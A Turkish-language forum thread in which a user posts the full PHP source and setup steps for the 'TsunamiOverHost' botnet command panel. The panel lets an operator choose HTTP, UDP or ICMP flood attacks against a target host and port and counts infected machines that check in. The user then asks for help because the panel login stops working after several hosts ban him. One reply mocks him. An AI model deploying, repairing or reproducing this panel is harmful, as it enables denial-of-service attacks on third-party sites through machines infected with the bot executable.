

Host Tabanalı Botnet Bu Sorunu Çöezemedim Yardım.
-
Mrb arkadaşlar nette gecerken tsunavioverhost die bir bot kurma dosyası buldum youtubedede vidosu filaan var Ancak bir sorunum var bir türlü çözemedim kafayı yemek üzereyim sorunu en sonda sölücem
icinde server kurmaya yarıyan tsunamioverhost.exe dısında 3 php dosya ve 1 txt dosya var.olay su biz scripti siteye kurdukta sonra tusunami dosyasını acıoz ordan msla asd.com/panel kurduk scripti o bize exeli bir dosya yaratıo bot dosyası calıstıran herkesi paneleimizde görüyoruz
index php şöyle
Burda sadece kullanıcı adı ve şifre belirliyoruz ilk paragrafta XXXXXXXXXXXXX olan yerlere
_______________________________________________________________________________________________________________
// SETTINGS FOR ADMIN ACCESS
');
$login = "XXXXXXXXXXXXXXXXXXXXı"; // your login
//You must set it!
$password = "XXXXXXXXXXXXXXXXXXXXXXXXXXX"; // your password
if(($_SERVER['PHP_AUTH_USER']!=$login) or ($_SERVER['PHP_AUTH_PW']!=$password) or (empty($_SERVER['PHP_AUTH_PW']))) {
header("WWW-Authenticate: Basic realm=Panel");
header("HTTP/1.0 401 Unauthorized");
die("Try again!");
}
if (!is_writable('update.txt')) {
die('update.txt is not writable change permissions for this file.');
}
// SETTINGS
$attackTypes= array('Turn off attack','HttpAttack','UDP Flood','ICMP Flood');
function delete_http($var) {
if (preg_match('#^http://#',$var)) {
$var = substr($var,7);
}
$pos = strpos($var,'/');
if ($pos>0)
$var = substr($var, 0,$pos);
return $var;
}
function add_http($var) {
if (!preg_match('#^http://#',$var)) {
return "http://$var";
} else {
return $var;
}
}
function check_host($var) {
$host = @gethostbyname($var);
if(preg_match('#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#', $host)) {
return true;
} else {
return false;
}
}
function check() {
if (ob_get_level() == 0) ob_start();
$host = $_GET['addr']; $port = $_GET['por']; $type = $_GET['type'];
echo('Connecting to '.$host.' at port '.$port.'
');
$hostip = @gethostbyname($host);
if ($type == '3') {
$hostip = 'udp://'.$hostip;
}
while(true) {
if ($hostip == $host) {
echo "Server is down or does not exist
";
break;
} else {
if (!$x = @fsockopen($hostip, $port, $errno, $errstr, 5)) {
echo "Server is down \n\r
";
ob_flush();
flush();
ob_end_flush();
} else {
echo "Server is up \n\r
";
ob_flush();
flush();
if ($x) {
@fclose($x);
}
}
}
echo str_pad('',4096)."\n";
ob_flush();
flush();
sleep(2);
}
echo 'Done.';
ob_end_flush();
}
if(isset($_POST['update'])) {
switch($_POST['type']) {
case '0':
$newType = '0'; $newHost = ''; $newPort = '';
break;
case '1':
$newType = '1'; $newHost = add_http($_POST['target']); $newPort = $_POST['port'];
break;
case '2':
$newType = '2'; $newHost = delete_http($_POST['target']); $newPort = $_POST['port'];
break;
case '3':
$newType = '3'; $newHost = delete_http($_POST['target']); $newPort = '';
break;
}
if($_POST['type']=='0' or check_host(delete_http($newHost))) {
$h = fopen('update.txt', 'w');
$r = fwrite($h, $newType.' '.$newHost.' '.$newPort);
fclose($h);
} else {
echo('Error: This is not real host/ip - Try again');
}
}
?>
TsunamiOverHost - Panel
include('online.php');
$action = $_GET['a'];
if ($action == 'online') {
show_online();
die();
}
if ($action == 'check') {
check();
} else {
$h = fopen('update.txt','r');
$r = @fread($h, filesize('update.txt'));
$act = explode(' ',$r);
fclose($h);
echo('
if ($act[0]!='0') {
echo('Current attack
Target: '.$act[1].'
Attack type: '.$attackTypes[$act[0]]);
if ($act[0]!='3') {
echo('
Port: '.$act[2].'
Check status
');
}
}
echo('< method="post">
');Attack type:
< name="">< value="'.$i.'"> if ($i==$act[0]) echo(' selected'); switch($i){ case '1': echo(' onclick="javascript:document.getElementById(\'target\').disabled = false; document.getElementById(\'port\').disabled = false; document.getElementById(\'port\').value=\'80\'"'); break; case '2': echo(' onclick="javascript:document.getElementById(\'target\').disabled = false; document.getElementById(\'port\').disabled = false; document.getElementById(\'port\').value=\'137\'"'); break; case '3': echo(' onclick="javascript:document.getElementById(\'target\').disabled = false; document.getElementById(\'port\').disabled = true; document.getElementById(\'port\').value=\'\'"'); break; default: echo(' onclick="javascript:document.getElementById(\'target\').disabled = true; document.getElementById(\'target\').value=\'\'; document.getElementById(\'port\').disabled = true; document.getElementById(\'port\').value=\'\'"'); break; } echo('>'.$attackTypes[$i]); } echo(' >>
Target:< id="target" name="target" size="35" value="'.$act'1'.'" />
if ($act['0']=='0') {
echo(' disabled>');
} else {
echo('>');
}
echo('
');Port: < id="" name="" size="20" value="'.$act'2'.'" />
if ($act['0']=='0' || $act['0']=='3') {
echo(' disabled>
} else {
echo('>');
}
echo(' ');Online: '.online_count().'
echo('
echo('
< name="update" ="submit" value="Update" />
>
');
}
?>
__________________________________________________________________________________________________________________________________Dierli online.php bundada mysql ayarları var onları gircez XXXXXXXXXXle yazılı yerlere
_______________________________________________________________________________
/*
CREATE TABLE botnet (
date int NOT NULL,
ip varchar(40) NOT NULL,
b_id int unsigned primary key NOT NULL auto_increment
);
*/
// Set MySQL database variables
$online_db_host = "XXXXXXXXXXXXXXXXXXXXXXX";
$online_db_name = "XXXXXXXXXXXXXXXXXXXXXXXX";
$online_db_user = "XXXXXXXXXXXXXXXXXXXXX";
$online_db_pass = "XXXXXXXXXXXXXXXXXXXX";
// Set session timeout limit in minutes
$online_sess_timeout = 2;
// Time (in seconds) offset from server?
$online_time_offset = 0; // << Add 0 if you do not want to change the time
$online_add_sub = "+"; // << Put + for adding and - for subtracting
// Set default font style
$online_font_style = "font-family: verdana; font-size: 8pt; color: #000000";
// Set table header font style
$online_h_font_style = "font-family: verdana; font-size: 8pt; color: #FFFFFF";
// Set default table bg, header and border color
$online_bgcolor = "#FFFFFF";
$online_bordercolor = "#000000";
$online_headercolor = "#4169E1";
$online_sess_timeout = (double)$online_sess_timeout;
$online_seconds = $online_sess_timeout * 60;
$online_time_offset = (double)$online_time_offset;
if($online_add_sub == "+" && $online_time_offset != 0) {$online_date = time()+$online_time_offset;}
elseif($add_sub == "-" && $online_time_offset != 0) {$online_date = time()-$online_time_offset;}
else {$online_date = time();}
// Determine IP address
$online_ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
// Connection to database
@mysql_connect($online_db_host, $online_db_user, $online_db_pass);
@mysql_select_db($online_db_name);
// Delete entries that are older than the time set in $online_sess_timeout
$online_delete_query = "DELETE FROM botnet WHERE date < $online_date";
$online_delete = @mysql_query($online_delete_query) or die(mysql_error());
$online_query = "SELECT * FROM botnet WHERE ip = '$online_ip'";
$online_result = @mysql_query($online_query) or die(mysql_error());
if(mysql_num_rows($online_result) > 0) {
while($online_row = mysql_fetch_array($online_result)) {
if(isset($online_row['ip']) && $online_row['ip'] == $online_ip) {
$online_update_query = "UPDATE botnet SET date = $online_date+$online_seconds WHERE ip = '".$online_ip."'";
$online_update = @mysql_query($online_update_query) or die(mysql_error());
}
else {
$online_insert_query = "INSERT INTO botnet VALUES($online_date+$online_seconds, '".$online_ip."', 0)";
$online_insert = @mysql_query($online_insert_query) or die(mysql_error());
}
}
}
else {
$online_insert_query = "INSERT INTO botnet VALUES($online_date+$online_seconds, '".$online_ip."', 0)";
$online_insert = @mysql_query($online_insert_query) or die(mysql_error());
}
function show_online() {
global $online_bordercolor,$online_headercolor,$online_h_font_style,$online_font_style,$online_bgcolor,$online_ip;
$online_query = "SELECT * FROM botnet where ip<>'$online_ip' order by date, b_id asc";
$online_result = @mysql_query($online_query) or die(mysql_error());
echo("\n
\n");
echo("\n
");
echo("\n
");# \nAdres IP
$i = 1;
while($online_row = mysql_fetch_array($online_result)) {
echo("\n \n");$i \n".$online_row['ip']." \n
$i++;
}
echo("");
}
function online_count() {
$online_query = "SELECT count(*) FROM botnet";
$online_result = @mysql_query($online_query) or die(mysql_error());
$tablica = mysql_fetch_array($online_result);
return $tablica['count(*)']-1;
}
?>_________________________________________________________________________________________________________________________________________
_________________________
Buda update.php bir değişiklik yapmıuoruz
include('online.php');
header("Content-type: text/plain");
include('update.txt');
?>
______________Sonra update.txt dosyamız var txt dosyasını cmod update dosyasını 777 yapmamız gerekiyor hosttan
Son olarak bir mysqle yarattımızda o panele girip sql den bir döngü yaratcekmişsiz oda suymus
SQL Komut çalıştırına giriniz ;
CREATE TABLE botnet (
date int NOT NULL,
ip varchar(40) NOT NULL,
b_id int unsigned primary key NOT NULL auto_increment
);BİTTİİİ simdi sorurnumu sölücem
ARKADAŞLAR BEN BU SCRİPTİ 2 GÜN ÖNCE KURDUM PANELE GİRİNCE İNDEX.PHPDE OLUŞTURDUĞUM KULLANICI ADI VE ŞİFREYLE GİRİYORDUM NE OLDUYSA
1GÜN GECTİ KURDUM HOST BANLANDI DİER TAM 5HOSTTA KURDUM AYNI HOSTTADA ABC.COM/PANEL YAZDIMDA İNDEX PHP ACILIO VE KULLANICI ADI VE ŞİFRE SOTUYOR DOGRU GİRSEM BİLE KABUL ETMİYOR SÜREKLİ SORGU EKRANI ÇIKIYOR BİTÜRLÜ GİRİŞ YAPMIYOR. DENEMEYİ BIRAKINCA CANCEL DEYİNCE ARKA PLANDA HALİYLE TRY AGAİN YAZISI CIKIO SCRİPTE
aNLAMADIM 1 GÜN ÖNCE HERSEY CALISIRKEN ŞİMDİ NEDEN CALIŞMIYOR.İNDEX PHPDE GİRİLEN KUL ADI ŞİFRE KABUL ETMİYOR BOŞ HİÇBİŞİ YAZMASAM BİLE PANELE GİRMİYOR NE DÜŞÜNÜYORSUNUZ
-
ARKADAŞLAR YENİR BİR GELİŞME OLDU KİBARHOST.CC DEN BEDAVA HOSTA KURDUM ÇALIŞTI. VİSTA PANEL FİLAN VAR. GODADDY KURDUM ACABA DEDİM BALANTILARIMI Yanlış YAPTIM.HAYIR GODADY HOSTUMA WORDPRESS KURDUM AYNI BALANTILARLA. Panel linkini YAZDIMDA KULLANICI ADINI KAÇ KERE YAZARSAM YAZIM KABUL ETMİYOR SÜREKLİ SORU EKRANI CIKIYOR
SAIRIM BU HOSTTAN KAYNAKLANIO GODADDY İZİN VERMİYOR SANIRIM PANELE GİRMEME NERDENA CABİLİRİM BÖLE BİR ÖZELLİK VARMI
-
azimli bir lamer ın hikayesi..